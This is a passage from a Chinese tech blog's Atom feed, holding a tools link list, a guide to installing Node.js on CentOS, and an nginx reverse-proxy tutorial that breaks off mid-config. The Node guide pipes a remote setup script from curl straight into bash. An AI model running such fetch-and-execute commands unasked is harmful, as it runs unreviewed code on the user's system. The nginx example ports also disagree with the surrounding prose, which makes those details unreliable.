onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="ProcessOn" />          </div>          <div class="flink-item-name">ProcessOn</div>          <div class="flink-item-desc" title="在线协作制作结构图">在线协作制作结构图</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.ilovepdf.com" title="iLovePDF" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="iLovePDF" />          </div>          <div class="flink-item-name">iLovePDF</div>          <div class="flink-item-desc" title="在线转换PDF利器">在线转换PDF利器</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://tools.pdf24.org/en" title="PDF24工具" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="PDF24工具" />          </div>          <div class="flink-item-name">PDF24工具</div>          <div class="flink-item-desc" title="pdf处理工具">pdf处理工具</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.imgbot.ai" title="IMGBOT" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="IMGBOT" />          </div>          <div class="flink-item-name">IMGBOT</div>          <div class="flink-item-desc" title="在线图片处理">在线图片处理</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://edit.foxitcloud.cn/" title="福昕云编辑" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://nas.allbs.cn:8888/cloudpic/2022/07/08d75692b018586ee902db88b16689a1.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="福昕云编辑" />          </div>          <div class="flink-item-name">福昕云编辑</div>          <div class="flink-item-desc" title="在线编辑PDF">在线编辑PDF</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://tinypng.com/" title="TinyPNG" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://tinypng.com/images/panda-chewing-2x.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="TinyPNG" />          </div>          <div class="flink-item-name">TinyPNG</div>          <div class="flink-item-desc" title="在线压缩图片">在线压缩图片</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://www.ypppt.com/" title="优品PPT" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="优品PPT" />          </div>          <div class="flink-item-name">优品PPT</div>          <div class="flink-item-desc" title="模板下载">模板下载</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://www.1ppt.com/xiazai/" title="第一PPT" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="第一PPT" />          </div>          <div class="flink-item-name">第一PPT</div>          <div class="flink-item-desc" title="模板下载">模板下载</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://sandunppt.com/" title="三顿PPT导航" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="http://sandunppt.com/wp-content/uploads/2019/07/图片5.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="三顿PPT导航" />          </div>          <div class="flink-item-name">三顿PPT导航</div>          <div class="flink-item-desc" title="PPT网址导航">PPT网址导航</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://support.office.com/zh-cn/article/excel-函数（按字母顺序）-b3944572-255d-4efb-bb96-c6d90033e188" title="Excel函数表" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="Excel函数表" />          </div>          <div class="flink-item-name">Excel函数表</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div></div><div class="flink-name">找图片</div><div class="flink-list">      <div class="flink-list-item">        <a href="https://unsplash.com/" title="Unsplash" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="Unsplash" />          </div>          <div class="flink-item-name">Unsplash</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://pixabay.com/" title="pixabay" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://pixabay.com/static/img/sprites.svg" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="pixabay" />          </div>          <div class="flink-item-name">pixabay</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.pexels.com/" title="Pexels" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="Pexels" />          </div>          <div class="flink-item-name">Pexels</div>          <div class="flink-item-desc" title="才华横溢的摄影作者在这里免费分享最精彩的素材图片和视频">才华横溢的摄影作者在这里免费分享最精彩的素材图片和视频</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://visualhunt.com/" title="visualhunt" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://visualhunt.com/vh2/img/logo-top-3@2x.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="visualhunt" />          </div>          <div class="flink-item-name">visualhunt</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.ssyer.com/" title="沙沙野" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="沙沙野" />          </div>          <div class="flink-item-name">沙沙野</div>          <div class="flink-item-desc" title="免费图片素材下载">免费图片素材下载</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://pic.netbian.com/" title="彼岸图网" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="彼岸图网" />          </div>          <div class="flink-item-name">彼岸图网</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.sigoo.com/" title="极像素" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="极像素" />          </div>          <div class="flink-item-name">极像素</div>          <div class="flink-item-desc" title="超高清大图">超高清大图</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.logosc.cn/so/" title="标小智" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="标小智" />          </div>          <div class="flink-item-name">标小智</div>          <div class="flink-item-desc" title="免费版权图片搜索">免费版权图片搜索</div>        </a>      </div></div></div>]]></content>
    
    
      
      
    <summary type="html">&lt;div class=&quot;flink&quot;&gt;&lt;div class=&quot;flink-name&quot;&gt;课程资源&lt;/div&gt;&lt;div class=&quot;flink-list&quot;&gt;
      &lt;div class=&quot;flink-list-item&quot;&gt;
        &lt;a href=&quot;https://w</summary>
      
    
    
    
    <category term="资源" scheme="https://blog.allbs.cn/categories/%E8%B5%84%E6%BA%90/"/>
    
    
    <category term="资源" scheme="https://blog.allbs.cn/tags/%E8%B5%84%E6%BA%90/"/>
    
  </entry>
  
  <entry>
    <title>CenterOS中安装node</title>
    <link href="https://blog.allbs.cn/posts/28845/"/>
    <id>https://blog.allbs.cn/posts/28845/</id>
    <published>2022-01-24T09:25:42.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="安装">安装</h2><h3 id="方式一">方式一</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl -sL https://rpm.nodesource.com/setup_10.x | bash -</span><br><span class="line"></span><br><span class="line">yum install -y nodejs</span><br></pre></td></tr></table></figure><h3 id="方式二">方式二</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://nodejs.org/dist/v14.16.0/node-v14.16.0-linux-x64.tar.xz &amp;&amp; xz -d node-v14.16.0-linux-x64.tar.xz &amp;&amp; tar -xvf node-v14.16.0-linux-x64.tar </span><br></pre></td></tr></table></figure><h2 id="配置环境变量">配置环境变量</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">export NODE_HOME=/root/node-v14.16.0-linux-x64</span><br><span class="line"></span><br><span class="line">export PATH=$PATH:$PATH:$NODE_HOME/bin</span><br><span class="line"></span><br><span class="line">export NODE_PATH=$NODE_HOME/lib/node_modules</span><br><span class="line"></span><br><span class="line">source /etc/profile</span><br></pre></td></tr></table></figure><h2 id="其他命令">其他命令</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">//清除nodejs的cache</span><br><span class="line">sudo npm cache clean -f </span><br><span class="line"></span><br><span class="line">//使用npm安装n模块</span><br><span class="line">sudo npm install -g n </span><br><span class="line"></span><br><span class="line">// node所有版本</span><br><span class="line">npm view node versions </span><br><span class="line"></span><br><span class="line">// 升级到最新版本</span><br><span class="line">sudo n latest </span><br><span class="line"></span><br><span class="line">// 升级到稳定版本</span><br><span class="line">sudo n stable </span><br><span class="line"></span><br><span class="line">// 升级到具体版本号</span><br><span class="line">sudo n xx.xx </span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">在CenterOS中安装node，配置环境变量，版本升级方式说明。</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="node" scheme="https://blog.allbs.cn/tags/node/"/>
    
  </entry>
  
  <entry>
    <title>nginx配置说明</title>
    <link href="https://blog.allbs.cn/posts/8564/"/>
    <id>https://blog.allbs.cn/posts/8564/</id>
    <published>2022-01-03T01:45:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<p>何为反向代理？</p><p>在介绍反向代理之前，先来了解一下正向代理。</p><p><strong>正向代理</strong>：如果把局域网外的 Internet 想象成一个巨大的资源库，则局域网中的客户端要访问 Internet，则需要通过代理服务器来访问，这种代理服务就称为正向代理。下面是正向代理的原理图。</p><p>由于工作环境原因，日常工作只能局限于单位的局域网，如果想要访问互联网，怎么办呢？这就需要用到正向代理。本人经常用正向代理来进行上网。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/01/fe2930b36ea088c4670398985a77e235.webp" alt="图片"></p><p><strong>反向代理</strong>：看下面原理图，就一目了然。其实客户端对代理是无感知的，因为客户端不需要任何配置就可以访问，我们只需要将请求发送到反向代理服务器，由反向代理服务器去选择目标服务器获取数据后，在返回给客户端，此时反向代理服务器和目标服务器对外就是一个服务器，暴露的是代理服务器地址，隐藏了真实服务器 IP 地址。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/01/019383b0b09f7de7b25b9c474df26540.webp" alt="图片"></p><blockquote><p>正向代理和反向代理的区别，一句话就是：如果我们客户端自己用，就是正向代理。如果实在服务器用，我们用户无感知，就是反向代理。</p></blockquote><p>这里有个问题：反向代理服务器，怎么选择挂在它后面的哪一台具体服务器呢？答案在后文揭晓，这就是负载均衡。</p><p>2</p><p>Nginx配置文件</p><p>在学习 Nginx 之前，我们要熟知它的配置文件。毕竟，我们下面需要做的所有配置（反向代理、负载均衡、动静分离等），都是基于它的配置文件。</p><p>Nginx 默认的配置文件是在安装目录下的 conf 目录下，后续对 Nginx 的使用基本上都是对此配置文件进行相应的修改。完整的配置文件，可以看一下文章最后。修改过nginx.conf配置文件，记得要重启Nginx服务。</p><p>配置文件中有很多#号，该符号表示注释内容，去掉所有以 # 开头的段落，精简之后的配置文件内容如下（PS：其实注释掉的地方，都是一些功能的使用代码，需要用到的时候，取消注释即可）：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">worker_processes</span>  <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="section">events</span> &#123;</span><br><span class="line">    <span class="attribute">worker_connections</span>  <span class="number">1024</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="section">http</span> &#123;</span><br><span class="line">    <span class="attribute">include</span>       mime.types;</span><br><span class="line">    <span class="attribute">default_type</span>  application/octet-stream;</span><br><span class="line">    <span class="attribute">sendfile</span>        <span class="literal">on</span>;</span><br><span class="line">    <span class="attribute">keepalive_timeout</span>  <span class="number">65</span>;</span><br><span class="line"></span><br><span class="line">    <span class="section">server</span> &#123;</span><br><span class="line">        <span class="attribute">listen</span>       <span class="number">80</span>;</span><br><span class="line">        <span class="attribute">server_name</span>  localhost;</span><br><span class="line"></span><br><span class="line">        <span class="section">location</span> / &#123;</span><br><span class="line">            <span class="attribute">root</span>   html;</span><br><span class="line">            <span class="attribute">index</span>  index.html index.htm;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="attribute">error_page</span>   <span class="number">500</span> <span class="number">502</span> <span class="number">503</span> <span class="number">504</span>  /50x.html;</span><br><span class="line">        <span class="section">location</span> = /50x.html &#123;</span><br><span class="line">            <span class="attribute">root</span>   html;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>去掉注释信息后，可以将 nginx.conf 配置文件分为三部分：</p><p><strong>第一部分：全局块</strong></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">worker_processes</span>  <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>从配置文件开始到 events 块之间的内容，主要会设置一些影响 Nginx 服务器整体运行的配置指令，主要包括：配置运行 Nginx 服务器的用户（组）、允许生成的 worker process 数，进程 PID 存放路径、日志存放路径和类型以及配置文件的引入等。</p><p>上面这行 worker_processes 配置，这是 Nginx 服务器并发处理服务的关键配置，该值越大，可以支持的并发处理量也越多，但是会受到硬件、软件等设备的制约。</p><p><strong>第二部分：events 块</strong></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">events</span> &#123;</span><br><span class="line"><span class="attribute">worker_connections</span>  <span class="number">1024</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>events 块涉及的指令主要影响 Nginx 服务器与用户的网络连接，常用的设置包括：是否开启对多 work process下的网络连接进行序列化，是否允许同时接收多个网络连接，选取哪种事件驱动模型来处理连接请求，每个 wordprocess 可以同时支持的最大连接数等。</p><p>上述例子就表示每个 work process 支持的最大连接数为 1024。这部分的配置对 Nginx 的性能影响较大，在实际中应该灵活配置。</p><p><strong>第三部分：http 块</strong></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">http</span> &#123;</span><br><span class="line">    <span class="attribute">include</span>       mime.types;</span><br><span class="line">    <span class="attribute">default_type</span>  application/octet-stream;</span><br><span class="line">    <span class="attribute">sendfile</span>        <span class="literal">on</span>;</span><br><span class="line">    <span class="attribute">keepalive_timeout</span>  <span class="number">65</span>;</span><br><span class="line"></span><br><span class="line">    <span class="section">server</span> &#123;</span><br><span class="line">        <span class="attribute">listen</span>       <span class="number">80</span>;</span><br><span class="line">        <span class="attribute">server_name</span>  localhost;</span><br><span class="line"></span><br><span class="line">        <span class="section">location</span> / &#123;</span><br><span class="line">            <span class="attribute">root</span>   html;</span><br><span class="line">            <span class="attribute">index</span>  index.html index.htm;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="attribute">error_page</span>   <span class="number">500</span> <span class="number">502</span> <span class="number">503</span> <span class="number">504</span>  /50x.html;</span><br><span class="line">        <span class="section">location</span> = /50x.html &#123;</span><br><span class="line">            <span class="attribute">root</span>   html;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这部分是 Nginx 服务器配置中最频繁的部分，代理、缓存和日志定义等绝大多数功能和第三方模块的配置都在这里。需要注意的是：<strong>http 块也可以包括 http 全局块、server 块。下面的反向代理、动静分离、负载均衡都是在这部分中配置</strong></p><p><strong>①、http 全局块</strong></p><p>http 全局块配置的指令包括：文件引入、MIME-TYPE 定义、日志自定义、连接超时时间、单链接请求数上限等。</p><p><strong>②、server 块</strong></p><p>这块和虚拟主机有密切关系，虚拟主机从用户角度看，和一台独立的硬件主机是完全一样的，该技术的产生是为了节省互联网服务器硬件成本。</p><p><strong>每个 http 块可以包括多个 server 块，而每个 server 块就相当于一个虚拟主机。而每个 server 块也分为全局 server 块，以及可以同时包含多个 locaton 块。</strong></p><p><strong>1、全局 server 块</strong></p><p>最常见的配置是本虚拟机主机的监听配置和本虚拟主机的名称或 IP 配置。</p><p><strong>2、location 块</strong></p><p>一个 server 块可以配置多个 location 块。</p><p>这块的主要作用是基于 Nginx 服务器接收到的请求字符串（例如 server_name/uri-string），对虚拟主机名称（也可以是 IP 别名）之外的字符串（例如 前面的 /uri-string）进行匹配，对特定的请求进行处理。地址定向、数据缓存和应答控制等功能，还有许多第三方模块的配置也在这里进行。</p><p>3</p><p>反向代理如何配置</p><p><strong>1、反向代理实例一</strong></p><p>实现效果：使用 Nginx 反向代理，访问 <a href="http://www.123.com">www.123.com</a> 直接跳转到 127.0.0.1:8080。</p><p>注意：此处如果要想从www.123.com跳转到本机指定的ip，需要修改本机的hosts文件。此处略过</p><p><strong>配置代码</strong></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">server</span> &#123;</span><br><span class="line"><span class="attribute">listen</span>       <span class="number">80</span>;</span><br><span class="line"><span class="attribute">server_name</span>  <span class="number">192.168.17.129</span>;</span><br><span class="line"></span><br><span class="line"><span class="section">location</span> / &#123;</span><br><span class="line"><span class="attribute">root</span>   html;</span><br><span class="line"><span class="attribute">index</span>  index.html index.htm;</span><br><span class="line"><span class="attribute">proxy_pass</span>  http://127.0.0.1:8080</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上配置，我们监听 80 端口，访问域名为 <a href="http://www.123.com">www.123.com</a>（不加端口号时默认为 80 端口），故访问该域名时会跳转到 127.0.0.1:8080 路径上。</p><blockquote><p>此处的意思为：nginx 反向代理服务监听 192.168.17.129的80端口，如果有请求过来，则转到proxy_pass配置的对应服务器上，仅此而已。</p></blockquote><p>实验结果：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/01/9ae13114ae0205dd1bc5fa3dc49dbd87.webp" alt="图片"></p><p><strong>2、反向代理实例二</strong></p><p><strong>实现效果：使用 Nginx 反向代理，根据访问的路径跳转到不同端口的服务中，Nginx 监听端口为 9001。</strong></p><p>访问 <a href="http://127.0.0.1:9001/edu/">http://127.0.0.1:9001/edu/</a> 直接跳转到 127.0.0.1:8081</p><p>访问 <a href="http://127.0.0.1:9001/vod/">http://127.0.0.1:9001/vod/</a> 直接跳转到 127.0.0.1:8082</p><p>第一步，需要准备两个 tomcat，一个 8001 端口，一个 8002 端口，并准备好测试的页面</p><p>第二步，修改 nginx 的配置文件，在 http 块中配置 server</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">server</span> &#123;</span><br><span class="line"><span class="attribute">listen</span>       <span class="number">9001</span>;</span><br><span class="line"><span class="attribute">server_name</span>  <span class="number">192.168.17.129</span>;</span><br><span class="line"></span><br><span class="line"><span class="section">location</span> <span class="regexp">~ /edu/</span> &#123;</span><br><span class="line"><span class="attribute">proxy_pass</span>  http://127.0.0.1:8080</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">location <span class="regexp">~ /vod/</span> &#123;</span><br><span class="line"><span class="attribute">proxy_pass</span>  http://127.0.0.1:8081</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据上面的配置，当请求到达 Nginx 反向代理服务器时，会根据请求进行分发到不同的服务上。</p><p>实验结果：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/01/fc12eee84af7dda35a0f86ef626e5352.webp" alt="图片"></p><p><strong>补充：location 指令说明</strong></p><p>该指令用于匹配 URL， 语法如下：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">location</span> [ = | <span class="regexp">~ |</span> <span class="regexp">~* |</span><span class="regexp"> ^~]</span> uri &#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">（1）、= ：用于不含正则表达式的 <span class="attribute">uri</span> 前，要求请求字符串与 uri 严格匹配，</span><br><span class="line">如果匹配成功，就停止继续向下搜索并立即处理该请求。</span><br><span class="line">（<span class="number">2</span>）、~：用于表示 uri 包含正则表达式，并且区分大小写。</span><br><span class="line">（<span class="number">3</span>）、~*：用于表示 uri 包含正则表达式，并且不区分大小写。</span><br><span class="line">（<span class="number">4</span>）、^~：用于不含正则表达式的 uri 前，要求 Nginx 服务器找到标识 uri 和请求</span><br><span class="line">字符串匹配度最高的 location 后，立即使用此 location 处理请求，</span><br><span class="line">而不再使用 location块中的正则 uri 和请求字符串做匹配。</span><br></pre></td></tr></table></figure><p>注意：如果 uri 包含正则表达式，则必须要有 ~ 或者 ~* 标识</p><p><strong>Nginx完整配置文件</strong></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#user nobody;</span></span><br><span class="line"><span class="attribute">worker_processes</span>  <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">#error_log logs/error.log;</span></span><br><span class="line"><span class="comment">#error_log logs/error.log notice;</span></span><br><span class="line"><span class="comment">#error_log logs/error.log info;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#pid logs/nginx.pid;</span></span><br><span class="line"></span><br><span class="line"><span class="section">events</span> &#123;</span><br><span class="line">    <span class="attribute">worker_connections</span>  <span class="number">1024</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="section">http</span> &#123;</span><br><span class="line">    <span class="attribute">include</span>       mime.types;</span><br><span class="line">    <span class="attribute">default_type</span>  application/octet-stream;</span><br><span class="line"></span><br><span class="line">    <span class="comment">#log_format main &#x27;$remote_addr - $remote_user [$time_local] &quot;$request&quot; &#x27;</span></span><br><span class="line">    <span class="comment"># &#x27;$status $body_bytes_sent &quot;$http_referer&quot; &#x27;</span></span><br><span class="line">    <span class="comment"># &#x27;&quot;$http_user_agent&quot; &quot;$http_x_forwarded_for&quot;&#x27;;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#access_log logs/access.log main;</span></span><br><span class="line"></span><br><span class="line">    <span class="attribute">sendfile</span>        <span class="literal">on</span>;</span><br><span class="line">    <span class="comment">#tcp_nopush on;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#keepalive_timeout 0;</span></span><br><span class="line">    <span class="attribute">keepalive_timeout</span>  <span class="number">65</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">#gzip on;</span></span><br><span class="line"></span><br><span class="line">    <span class="section">server</span> &#123;</span><br><span class="line">        <span class="attribute">listen</span>       <span class="number">80</span>;</span><br><span class="line">        <span class="attribute">server_name</span>  localhost;</span><br><span class="line"></span><br><span class="line">        <span class="comment">#charset koi8-r;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">#access_log logs/host.access.log main;</span></span><br><span class="line"></span><br><span class="line">        <span class="section">location</span> / &#123;</span><br><span class="line">            <span class="attribute">root</span>   html;</span><br><span class="line">            <span class="attribute">index</span>  index.html index.htm;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">#error_page 404 /404.html;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># redirect server error pages to the static page /50x.html</span></span><br><span class="line">        <span class="comment">#</span></span><br><span class="line">        <span class="attribute">error_page</span>   <span class="number">500</span> <span class="number">502</span> <span class="number">503</span> <span class="number">504</span>  /50x.html;</span><br><span class="line">        <span class="section">location</span> = /50x.html &#123;</span><br><span class="line">            <span class="attribute">root</span>   html;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment"># proxy the PHP scripts to Apache listening on 127.0.0.1:80</span></span><br><span class="line">        <span class="comment">#</span></span><br><span class="line">        <span class="comment">#location ~ \.php$ &#123;</span></span><br><span class="line">        <span class="comment"># proxy_pass http://127.0.0.1;</span></span><br><span class="line">        <span class="comment">#&#125;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000</span></span><br><span class="line">        <span class="comment">#</span></span><br><span class="line">        <span class="comment">#location ~ \.php$ &#123;</span></span><br><span class="line">        <span class="comment"># root html;</span></span><br><span class="line">        <span class="comment"># fastcgi_pass 127.0.0.1:9000;</span></span><br><span class="line">        <span class="comment"># fastcgi_index index.php;</span></span><br><span class="line">        <span class="comment"># fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;</span></span><br><span class="line">        <span class="comment"># include fastcgi_params;</span></span><br><span class="line">        <span class="comment">#&#125;</span></span><br><span 